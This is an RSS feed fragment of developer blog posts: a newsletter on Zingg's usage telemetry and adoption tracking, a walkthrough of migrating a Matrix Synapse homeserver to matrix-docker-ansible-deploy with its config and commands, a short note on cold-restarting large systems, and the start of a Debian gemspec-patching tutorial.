src="https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080" width="1080" height="717" data-attrs="{&quot;src&quot;:&quot;https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:717,&quot;width&quot;:1080,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;person holding white Samsung Galaxy Tab&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="person holding white Samsung Galaxy Tab" title="person holding white Samsung Galaxy Tab" srcset="https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1456w" sizes="100vw" loading="lazy" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>What good is a song composed but not hummed by the audience? The musician may love it as their best song, but it will soon fade away from the memory of its listeners. While the pleasure of building and innovating is its own reward, creators need external validation to generate the ammunition to make even bolder bets.</p><p>As people who pour our hearts and souls into building Zingg, we too take a pause at times to reflect if we are indeed creating value for our users. There are two main things we are super curious to learn at this stage.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.learningfromdata.zingg.ai/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Sonal&#8217;s Newsletter! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><ol><li><p>To learn how people are discovering us</p></li><li><p>To understand how they are using Zingg</p><p></p><p></p></li></ol><p>Signals for these come from multiple sources. The important ones are direct user and customer communication, Slack, website traffic, product downloads and product usage statistics.</p><p>Direct interaction with users and customers is the richest form of learning. Many of our open source users join our slack and chat with us and we learn about the problems they are solving with Zingg. Some of them write to us on email, or DM us on <a href="https://join.slack.com/t/zinggai/shared_invite/zt-w7zlcnol-vEuqU9m~Q56kLLUVxRgpOA">Slack</a> or LinkedIn, sharing what they are building with and around Zingg. They want to check the best way to use Zingg for their scenario. We ask them about their stack and use cases, and how we can help them better. Learning more about our users guides us in shaping the roadmap for Zingg. Zingg&#8217;s docker and the Zingg <a href="https://readthedocs.org/projects/zingg/">Python API</a> are a direct result of these interactions. We built them because we realized that they will help users generate identity resolution results faster and will enable them to use Zingg as a first class citizen in their transformation pipelines. </p><p>While interacting directly, we often ask users where they learnt about Zingg. This is augmented with the signals from traffic information from Google Analytics. Github also provides repository traffic analysis of the previous fortnight. </p><p>Often, the discovery is word of mouth. For us, having a great product and providing an even better support is the best form of engaging people. It suits us as developers, it helps our users drive value faster and it builds a strong relationship with the user. A check at the <a href="https://www.zingg.ai/">testimonials on the Zingg website</a> reveals we are doing a nice job there. </p><p>And we should still aim to get better here.  Like identity resolution, support is never going to be perfect, so we always have things to improve upon.</p><p>Many times the discovery is through the tutorials and guides we have written. Or talks and events in select data communities. Instead of a lot of content, we have focused on deep and long articles that help the user understand the <a href="https://www.zingg.ai/documentation-article/the-what-and-why-of-entity-resolution">problem of identity and entity resolution, why it is needed, the challenges in resolving entities</a> and how Zingg can be run on different platforms like <a href="https://www.zingg.ai/documentation-article/identity-resolution-on-databricks-for-customer-360">Databricks</a> and <a href="https://www.zingg.ai/documentation-article/identifying-duplicates-in-snowflake-with-zingg">Snowflake</a>. Early adopters of a product know the problem and are looking for a solution. Hence, we owe it to them <a href="https://medium.com/towards-data-science/step-by-step-identity-resolution-with-python-and-zingg-e0895b369c50">to make using Zingg easy</a> so that they can focus on solving the bigger puzzle - Customer 360, Segmentation, Fraud, Risk, Compliance etc. Discoverability is the side benefit of our content, helping our users adopt Zingg is the main goal. </p><p>Broadly, these data points are sufficient for us to understand and improve discoverability at this stage. Besides this, we track open source adoption and product usage anonymously. We gather information about</p><ol><li><p>Github downloads of our releases</p></li><li><p>Docker pulls</p></li><li><p>PyPi installs</p></li><li><p>Slack users</p></li><li><p>Documentation views</p><p></p></li></ol><p>Together, the above give us a fair idea of our adoption and how we are growing. For now, we get these values manually every couple of weeks and track them in an excel file, charting out a time series to understand our growth rate. We do have a column for github stars which we populate but dont think much about as we have richer data to get signals from.</p><p>Coming to product analytics, the aim here is to learn the different aspects of how people are using Zingg-</p><ol><li><p>Which platform do they run Zingg on?</p></li><li><p>Is the product scaling? How many records do they match?</p></li><li><p>How much time does it take to run?</p></li><li><p>Do they run Zingg multiple times or is it a one time deduplication?</p><p></p><p> </p></li></ol><p>For any product analytics to function, we ought to have a way to identify unique installations and trigger usage events from the installation to a place where we can analyze them. Our asks are fairly simple questions, but the novel nature of our product as well as deployment makes it tricky to get the answers. </p><p>Often, Zingg is deployed on cloud resources like Databricks or EMR or on private enterprise networks which are blocked from sending information outside the VPN. So if a user downloads and uses Zingg under such environments, we have no way of knowing how they are using Zingg. </p><p>Another issue is that it is impossible to identify installs through cloud systems, as virtual machines change with every run. Even when we don&#8217;t want to identify the user but only the install, there is no way to track a unique installation by writing a random uuid on disk. This problem exists on our docker environment as well. </p><p>Some of the features we are building now will allow users to trigger cloud jobs from their machines, so we will think about the install identification then. Till then, we already have the download stats, so thats a good enough proxy for us.  Instead, we gather usage data. We <a href="https://docs.zingg.ai/zingg/security">respect user privacy</a>, so we limit data collection to reflect product usage. We also provide a flag to turn data collection off. </p><p>We use Google Analytics as our event server and post custom events to it from the code every time Zingg is run. These events are sent to our GA account, which has been configured to pipe these events into BigQuery. For every run of Zingg, we collect the data and output formats, time it took to run, number of records and a few other stats. Every few weeks, a handful of SQL queries help us understand the data volumes we are processing, the number of daily jobs run and their trends, the time taken to complete each run etc. Mostly, it is a brief glance on the numbers to make sure we are on the right track.  </p><p>Many times, the usage data has an unheard story to tell. We discovered that there were a good amount of users using Zingg to resolve entities on Snowflake. A Spark deployment is not ideal for them, as they are not using it anywhere in their stack. Could we leverage Snowpark and build a lighter, tighter product for such users? <a href="https://www.zingg.ai/company/zingg-enterprise-snowflake">Seems we can</a>, and I have a lot of exciting stories to tell about that effort and where it is leading us! </p><p>Coming back to our simplistic data stack. </p><p>Sometimes we do detective work ;-) If we see events of the same format and number of fields triggered at regular time intervals through the day, we treat it as Zingg running in production. Once in a while, it is fun to look into individual events and extrapolate the usage to different scenarios. </p><p>Churning out aggregate stats is a revelation too - like Zingg has resolved <em>at least</em> <strong>2 billion records in the last two months</strong>. This is a huge number, and it has grown rapidly over the last few months. </p><p>When I say &#8220;at least&#8221;, it is with the awareness that we are not collecting all the data points.  We have talked with many users who are running production loads but they do not show up in our telemetry. So our analysis tends to be conservative. Which is absolutely fine. </p><p>Overall, the aim of this stack is to help us get a sense of how we are doing, what we can do to help our users and what more we should build. We are on free plans on Slack as well as GA. The frugality is in the cost, and also in the implementation. As a small team, we needed something that is easy to setup and will answer our basic questions without much effort. Also, the trend in the data is more important than the individual data points at this stage. </p><p>We may miss some dots, but the path is clear. Which is what matters!</p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.learningfromdata.zingg.ai/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Sonal&#8217;s Newsletter! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&ixlib=rb-4.0.3&q=80&w=1080" length="0" type="image//photo-1434626881859-194d67b2b86f"/>
        </item>
        <item>
            <title><![CDATA[How we migrated Project Segfault’s matrix homeserverto matrix-docker-ansible-deploy]]></title>
            <link>https://aryak.me/blog/02-mdad.html</link>
            <guid isPermaLink="false">https://aryak.me/blog/02-mdad.html</guid>
            <pubDate>Mon, 17 Apr 2023 12:39:46 GMT</pubDate>
            <description><![CDATA[Yesterday, we completed Project Segfault’s migration from
matrix.org’s official docker image for synapse to
matrix-docker-ansible-deploy.
This was because of how much of a pain it is to setup workers,
especially with docker. The docs aren’t great about it either..
For these reasons, we turned to matrix-docker-ansible-deploy.
The first issue we encountered was how spread out the docs were,
though very precise and well-explained.
Once we cloned the repo, we first had to setup the inventory hosts
file.
Since we cloned the repo to the DockerVM itself, we had a weird
solution for this.
[matrix_servers]
matrix.projectsegfau.lt ansible_host=localhost ansible_ssh_user=root
After this, we had to add the pubkey of the VM to its own
authorized_keys. Wacky :P
With that sorted, we had to start configuring.
Firstly, we had to prevent it from installing docker.
This is important since (re)installing docker will break a lot,
especially for our pre-existing services.
matrix_playbook_docker_installation_enabled: false
After that, we had to add our old secret keys back to the config file
so that it won’t break federation:
matrix_synapse_macaroon_secret_key: "xxx"
matrix_synapse_registration_shared_secret: "xxx"
matrix_synapse_form_secret: "xxx"
The signing key had to be re-added as well, but later after the setup
was complete.
After that, we turned to the thing we migrated for, synapse
workers:
Since the generic and federation_sender workers have to process a lot
of data, we made 4 of each (totally didn’t copy the number from envs.net
:P).
matrix_synapse_workers_enabled: true
matrix_synapse_workers_preset: one-of-each
matrix_synapse_workers_federation_sender_count: 4
matrix_synapse_workers_generic_worker_count: 4
Another important thing we had to take into consideration was
postgres. We ran postgres on a separate VM and connected to the database
on it.
matrix_synapse_database_host: "192.168.5.4"
matrix_synapse_database_user: "synapse"
matrix_synapse_database_password: "xxx"
matrix_synapse_database_database: "synapse"
devture_postgres_enabled: false
After the database, we had to set up registration/login stuff.
A weird thing I noticed about matrix-docker-ansible-deploy’s email
configuration is that it uses its own relay, above our mail
credentials.
matrix_mailer_sender_address: "matrix@projectsegfau.lt"
matrix_mailer_relay_use: true
matrix_mailer_relay_host_name: "mail.projectsegfau.lt"
matrix_mailer_relay_host_port: 587
matrix_mailer_relay_auth: true
matrix_mailer_relay_auth_username: "matrix@projectsegfau.lt"
matrix_mailer_relay_auth_password: "xxx"
matrix_synapse_registrations_require_3pid: [ email ]
matrix_synapse_enable_registration: true
matrix_synapse_configuration_extension_yaml: |
  oidc_providers:
    - idp_id: authentik
      idp_name: "authentik"
      idp_icon: "mxc://envs.net/429bd4b307d32b919a94823f03acc7c24a7da61f"
      discover: true
      issuer: "https://auth.p.projectsegfau.lt/application/o/matrix/"
      client_id: "xxx"
      client_secret: "xxx"
      scopes:
        - "openid"
        - "profile"
        - "email"
      user_mapping_provider:
        config:
          localpart_template: "{% raw %}{{ user.preferred_username }}{% endraw %}"
          display_name_template: "{% raw%}{{ user.name }}{% endraw %}"
          email_template: "{% raw %}{{ user.email }}{% endraw %}"
Past this, we also had to port the small configurations we had in our
old homeserver.yaml to the ansible format.
Since most of these weren’t documented very well, we had to make
heavy use of the defaults
file.
matrix_synapse_auto_join_rooms: [ '#project-segfault:projectsegfau.lt', '#support:projectsegfau.lt', '#general:projectsegfau.lt', '#announcements:projectsegfau.lt' ]
matrix_synapse_max_upload_size_mb: 700
matrix_synapse_allow_public_rooms_without_auth: true
matrix_synapse_allow_public_rooms_over_federation: true
matrix_synapse_email_client_base_url: "https://matrix.to"
matrix_synapse_email_invite_client_location: "https://chat.projectsegfau.lt"
matrix_synapse_turn_uris: ["turn:turn.projectsegfau.lt?transport=udp", "turn:turn.projectsegfau.lt?transport=tcp"]
matrix_synapse_turn_shared_secret: "xxx"
matrix_synapse_turn_allow_guests: true
matrix_coturn_enabled: false
matrix_client_element_enabled: false
At this point we realized that we need to do a lot of weirder stuff
to get it to work reverse-proxied behind our main caddy instance.
We reverse-proxied the traefik instance behind our caddy instance, as
recommended by the documentation
with the instructions there:
# Ensure that public urls use https
matrix_playbook_ssl_enabled: true

# Disable the web-secure (port 443) endpoint, which also disables SSL certificate retrieval
devture_traefik_config_entrypoint_web_secure_enabled: false

# If your reverse-proxy runs on another machine, consider using `0.0.0.0:81`, just `81` or `SOME_IP_ADDRESS_OF_THIS_MACHINE:81`
devture_traefik_container_web_host_bind_port: '0.0.0.0:81'

# We bind to `127.0.0.1` by default (see above), so trusting `X-Forwarded-*` headers from
# a reverse-proxy running on the local machine is safe enough.
devture_traefik_config_entrypoint_web_forwardedHeaders_insecure: true
devture_traefik_additional_entrypoints_auto:
  - name: matrix-federation
    port: 8449
    host_bind_port: '0.0.0.0:8449'
    config: {}
After all the configuration was done, we had to run it :P.
Firstly, we had to install ansible and just, and run
just roles to initialize all the ansible stuff.
At this point, we shut down our old matrix instance in order to not
cause any issues.
Then, we ran
ansible-playbook -i inventory/hosts setup.yml --tags=install-all
to install all the files but not start the services.
Now came the most time consuming part, importing the old media repo.
Considering its size at over 85 gigabytes.
ansible-playbook -i inventory/hosts setup.yml --extra-vars='server_path_media_store=/opt/docker/mtrx/files/media_store' --tags=import-synapse-media-store
This took almost 30 minutes, the majority of the downtime we
had..
After this was done, we were able to start the server:
ansible-playbook -i inventory/hosts setup.yml --tags=start.
The nginx
configuration they recommended in the documentation for our
reverse-proxy setup was pretty self-explanatory and easy to convert, but
for the fact that till now our matrix instance used normal delegation
and did not make use of :8448.
Due to this, we had to waste a lot of time trying to figure out which
routes went to which ports. I wish the documentation explained this
better..
At the end, this was the caddy configuration we came up with for
this:
matrix.projectsegfau.lt {
    reverse_proxy /_matrix/* 192.168.5.2:8449
    reverse_proxy /_matrix/client/* 192.168.5.2:81
    reverse_proxy /_synapse/* 192.168.5.2:81
}
This configuration works right now, though we are still not
completely sure if other routes need to go somewhere else.
I do have some gripes with it though, such as the ages it takes for
restarts (–tags=setup-build and then –tags=restart for those wondering)
and the lack of documentation for what is the recommended upstream
delegation configuration.
At the end, matrix-docker-ansible-deploy simplified our config a lot
and relieved a lot of maintanence burden we would have had in case we
configured it manually and I am thankful for that.]]></description>
            <content:encoded><![CDATA[
<p>Yesterday, we completed Project Segfault’s migration from
matrix.org’s official docker image for synapse to
matrix-docker-ansible-deploy.</p>
<p>This was because of how much of a pain it is to setup workers,
especially with docker. The docs aren’t great about it either..</p>
<p>For these reasons, we turned to matrix-docker-ansible-deploy.</p>
<p>The first issue we encountered was how spread out the docs were,
though very precise and well-explained.</p>
<p>Once we cloned the repo, we first had to setup the inventory hosts
file.</p>
<p>Since we cloned the repo to the DockerVM itself, we had a weird
solution for this.</p>
<pre><code>[matrix_servers]
matrix.projectsegfau.lt ansible_host=localhost ansible_ssh_user=root</code></pre>
<p>After this, we had to add the pubkey of the VM to its own
<code>authorized_keys</code>. Wacky :P</p>
<p>With that sorted, we had to start configuring.</p>
<p>Firstly, we had to prevent it from installing docker.</p>
<p>This is important since (re)installing docker will break a lot,
especially for our pre-existing services.</p>
<pre><code>matrix_playbook_docker_installation_enabled: false</code></pre>
<p>After that, we had to add our old secret keys back to the config file
so that it won’t break federation:</p>
<pre><code>matrix_synapse_macaroon_secret_key: &quot;xxx&quot;
matrix_synapse_registration_shared_secret: &quot;xxx&quot;
matrix_synapse_form_secret: &quot;xxx&quot;</code></pre>
<p>The signing key had to be re-added as well, but later after the setup
was complete.</p>
<p>After that, we turned to the thing we migrated for, synapse
workers:</p>
<p>Since the generic and federation_sender workers have to process a lot
of data, we made 4 of each (totally didn’t copy the number from envs.net
:P).</p>
<pre><code>matrix_synapse_workers_enabled: true
matrix_synapse_workers_preset: one-of-each
matrix_synapse_workers_federation_sender_count: 4
matrix_synapse_workers_generic_worker_count: 4</code></pre>
<p>Another important thing we had to take into consideration was
postgres. We ran postgres on a separate VM and connected to the database
on it.</p>
<pre><code>matrix_synapse_database_host: &quot;192.168.5.4&quot;
matrix_synapse_database_user: &quot;synapse&quot;
matrix_synapse_database_password: &quot;xxx&quot;
matrix_synapse_database_database: &quot;synapse&quot;
devture_postgres_enabled: false</code></pre>
<p>After the database, we had to set up registration/login stuff.</p>
<p>A weird thing I noticed about matrix-docker-ansible-deploy’s email
configuration is that it uses its own relay, above our mail
credentials.</p>
<pre><code>matrix_mailer_sender_address: &quot;matrix@projectsegfau.lt&quot;
matrix_mailer_relay_use: true
matrix_mailer_relay_host_name: &quot;mail.projectsegfau.lt&quot;
matrix_mailer_relay_host_port: 587
matrix_mailer_relay_auth: true
matrix_mailer_relay_auth_username: &quot;matrix@projectsegfau.lt&quot;
matrix_mailer_relay_auth_password: &quot;xxx&quot;
matrix_synapse_registrations_require_3pid: [ email ]
matrix_synapse_enable_registration: true
matrix_synapse_configuration_extension_yaml: |
  oidc_providers:
    - idp_id: authentik
      idp_name: &quot;authentik&quot;
      idp_icon: &quot;mxc://envs.net/429bd4b307d32b919a94823f03acc7c24a7da61f&quot;
      discover: true
      issuer: &quot;https://auth.p.projectsegfau.lt/application/o/matrix/&quot;
      client_id: &quot;xxx&quot;
      client_secret: &quot;xxx&quot;
      scopes:
        - &quot;openid&quot;
        - &quot;profile&quot;
        - &quot;email&quot;
      user_mapping_provider:
        config:
          localpart_template: &quot;{% raw %}{{ user.preferred_username }}{% endraw %}&quot;
          display_name_template: &quot;{% raw%}{{ user.name }}{% endraw %}&quot;
          email_template: &quot;{% raw %}{{ user.email }}{% endraw %}&quot;</code></pre>
<p>Past this, we also had to port the small configurations we had in our
old homeserver.yaml to the ansible format.</p>
<p>Since most of these weren’t documented very well, we had to make
heavy use of the <a
href="https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/roles/custom/matrix-synapse/defaults/main.yml">defaults
file</a>.</p>
<pre><code>matrix_synapse_auto_join_rooms: [ &#39;#project-segfault:projectsegfau.lt&#39;, &#39;#support:projectsegfau.lt&#39;, &#39;#general:projectsegfau.lt&#39;, &#39;#announcements:projectsegfau.lt&#39; ]
matrix_synapse_max_upload_size_mb: 700
matrix_synapse_allow_public_rooms_without_auth: true
matrix_synapse_allow_public_rooms_over_federation: true
matrix_synapse_email_client_base_url: &quot;https://matrix.to&quot;
matrix_synapse_email_invite_client_location: &quot;https://chat.projectsegfau.lt&quot;
matrix_synapse_turn_uris: [&quot;turn:turn.projectsegfau.lt?transport=udp&quot;, &quot;turn:turn.projectsegfau.lt?transport=tcp&quot;]
matrix_synapse_turn_shared_secret: &quot;xxx&quot;
matrix_synapse_turn_allow_guests: true
matrix_coturn_enabled: false
matrix_client_element_enabled: false</code></pre>
<p>At this point we realized that we need to do a lot of weirder stuff
to get it to work reverse-proxied behind our main caddy instance.</p>
<p>We reverse-proxied the traefik instance behind our caddy instance, as
recommended by the <a
href="https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-own-webserver.md#fronting-the-integrated-reverse-proxy-webserver-with-another-reverse-proxy">documentation</a>
with the instructions there:</p>
<pre><code># Ensure that public urls use https
matrix_playbook_ssl_enabled: true

# Disable the web-secure (port 443) endpoint, which also disables SSL certificate retrieval
devture_traefik_config_entrypoint_web_secure_enabled: false

# If your reverse-proxy runs on another machine, consider using `0.0.0.0:81`, just `81` or `SOME_IP_ADDRESS_OF_THIS_MACHINE:81`
devture_traefik_container_web_host_bind_port: &#39;0.0.0.0:81&#39;

# We bind to `127.0.0.1` by default (see above), so trusting `X-Forwarded-*` headers from
# a reverse-proxy running on the local machine is safe enough.
devture_traefik_config_entrypoint_web_forwardedHeaders_insecure: true
devture_traefik_additional_entrypoints_auto:
  - name: matrix-federation
    port: 8449
    host_bind_port: &#39;0.0.0.0:8449&#39;
    config: {}</code></pre>
<p>After all the configuration was done, we had to run it :P.</p>
<p>Firstly, we had to install ansible and <a
href="https://github.com/casey/just">just</a>, and run
<code>just roles</code> to initialize all the ansible stuff.</p>
<p>At this point, we shut down our old matrix instance in order to not
cause any issues.</p>
<p>Then, we ran
<code>ansible-playbook -i inventory/hosts setup.yml --tags=install-all</code>
to install all the files but not start the services.</p>
<p>Now came the most time consuming part, importing the old media repo.
Considering its size at over 85 gigabytes.</p>
<pre><code>ansible-playbook -i inventory/hosts setup.yml --extra-vars=&#39;server_path_media_store=/opt/docker/mtrx/files/media_store&#39; --tags=import-synapse-media-store</code></pre>
<p>This took almost 30 minutes, the majority of the downtime we
had..</p>
<p>After this was done, we were able to start the server:
<code>ansible-playbook -i inventory/hosts setup.yml --tags=start</code>.</p>
<p>The <a
href="https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/examples/nginx/matrix.conf">nginx
configuration</a> they recommended in the documentation for our
reverse-proxy setup was pretty self-explanatory and easy to convert, but
for the fact that till now our matrix instance used normal delegation
and did not make use of :8448.</p>
<p>Due to this, we had to waste a lot of time trying to figure out which
routes went to which ports. I wish the documentation explained this
better..</p>
<p>At the end, this was the caddy configuration we came up with for
this:</p>
<pre><code>matrix.projectsegfau.lt {
    reverse_proxy /_matrix/* 192.168.5.2:8449
    reverse_proxy /_matrix/client/* 192.168.5.2:81
    reverse_proxy /_synapse/* 192.168.5.2:81
}</code></pre>
<p>This configuration works right now, though we are still not
completely sure if other routes need to go somewhere else.</p>
<p>I do have some gripes with it though, such as the ages it takes for
restarts (–tags=setup-build and then –tags=restart for those wondering)
and the lack of documentation for what is the recommended upstream
delegation configuration.</p>
<p>At the end, matrix-docker-ansible-deploy simplified our config a lot
and relieved a lot of maintanence burden we would have had in case we
configured it manually and I am thankful for that.</p>]]></content:encoded>
            <author>arya@projectsegfau.lt (Arya Kiran)</author>
            <category>2023/04/17/1</category>
        </item>
        <item>
            <title><![CDATA[Cold restart whole system after total outage]]></title>
            <link>https://www.evalapply.org/posts/cold-restart-total-outage/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/cold-restart-total-outage/index.html</guid>
            <pubDate>Fri, 07 Apr 2023 00:00:00 GMT</pubDate>
            <description><![CDATA["What are folks’ views on systems so large where cold-starting the whole system is almost impossible?"... — M'colleague, Shivam, In A Slackroom Next Door.]]></description>
            <content:encoded><![CDATA["What are folks’ views on systems so large where cold-starting the whole system is almost impossible?"... — M'colleague, Shivam, In A Slackroom Next Door.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>riff</category>
            <category>systems</category>
            <category>complexity</category>
            <category>meta</category>
        </item>
        <item>
            <title><![CDATA[Debian Packaging Tutorial: Removing Git From Gemspec]]></title>
            <link>https://ravidwivedi.in/posts/debian-packaging-removing-git-from-gemspec/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/debian-packaging-removing-git-from-gemspec/</guid>
            <pubDate>Tue, 04 Apr 2023 20:18:53 GMT</pubDate>
            <description><![CDATA[Recently, I was packaging silent_stream for Debian. sbuild was showing error because there was git in gemspec file. Specifically, this line
`git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(tests|spec|features)/}) }

in this file.
Thanks to Vinay who helped me in fixing this. It took some time and it is common to run into this error, I was told. So, I am documenting what worked for me.
We will use quilt and Rapahel has written a good article on how to use it to patch. You will need to setup quilt first which is explained in the article.
—————Run all these commands in debian unstable environment—————————–
Since I had already pushed my changes to salsa.debian.org, I had to clone the repository. We do this by using:
gbp clone --pristine-tar git@salsa.debian.org:ruby-team/ruby-silent-stream.git
cd into the repository just cloned
cd ruby-silent-stream
Now, insert a new empty patch
quilt new remove-git-in-gemspec.patch
Tell quilt that you intend to modify files
quilt add remove-git-in-gemspec.patch
Edit the file which requires to be fixed. In our case it is silent_stream.gemspec file
vim silent_stream.gemspec
Delete lines 50,51,52 in this file
Replace those lines with:
spec.files = Dir.glob("**/*")
and save the file.
To generate the patch, run
quilt refresh
Add metadata to your patch header
quilt header --dep3 -e
Add debian/patches directory to git staging area:
git add debian/patches
Restore gemspec file.
git restore silent_stream.gemspec
Run debclean
debclean
Before running sbuild, I had to import tar files in parent directory
uscan --verbose -dd --download-current-version
Check if sbuild is successful.
sbuild -d unstable (where to run this command depends on how you setup sbuild and your debian unstable)
—————–Run above commands in debian unstable environment————
If the sbuild was successful, then commit and push your changes. I usually commit in my host system as signing the commits does not work for me inside chroot or the unstable environment I setup using systemd-nspawn.
git commit -S -m "add remove-git-in-gemspec.patch"

So, that’s it for this tutorial. Meet you in the next post.]]></description>
            <content:encoded><![CDATA[<p>Recently, I was packaging <a href="https://rubygems.org/gems/silent_stream">silent_stream</a> for <a href="https://debian.org">Debian</a>. sbuild was showing error because there was git in gemspec file. Specifically, this line</p>
<pre><code>`git ls-files -z`.split(&quot;\x0&quot;).reject { |f| f.match(%r{^(tests|spec|features)/}) }
</code></pre>
<p>in this <a href="https://github.com/pboling/silent_stream/blob/master/silent_stream.gemspec#L51">file</a>.</p>
<p>Thanks to Vinay who helped me in fixing this. It took some time and it is common to run into this error, I was told. So, I am documenting what worked for me.</p>
<p>We will use quilt and Rapahel has written a <a href="https://raphaelhertzog.com/2012/08/08/how-to-use-quilt-to-manage-patches-in-debian-packages/">good article</a> on how to use it to patch. You will need to setup quilt first which is explained in the article.</p>
<p>&mdash;&mdash;&mdash;&mdash;&mdash;Run all these commands in debian unstable environment&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&ndash;</p>
<ol>
<li>
<p>Since I had already pushed my changes to salsa.debian.org, I had to clone the repository. We do this by using:</p>
<p><code>gbp clone --pristine-tar git@salsa.debian.org:ruby-team/ruby-silent-stream.git</code></p>
<p>cd into the repository just cloned</p>
<p><code>cd ruby-silent-stream</code></p>
</li>
<li>
<p>Now, insert a new empty patch</p>
<p><code>quilt new remove-git-in-gemspec.patch</code></p>
</li>
<li>
<p>Tell quilt that you intend to modify files</p>
<p><code>quilt add remove-git-in-gemspec.patch</code></p>
</li>
<li>
<p>Edit the file which requires to be fixed. In our case it is <code>silent_stream.gemspec</code> file</p>
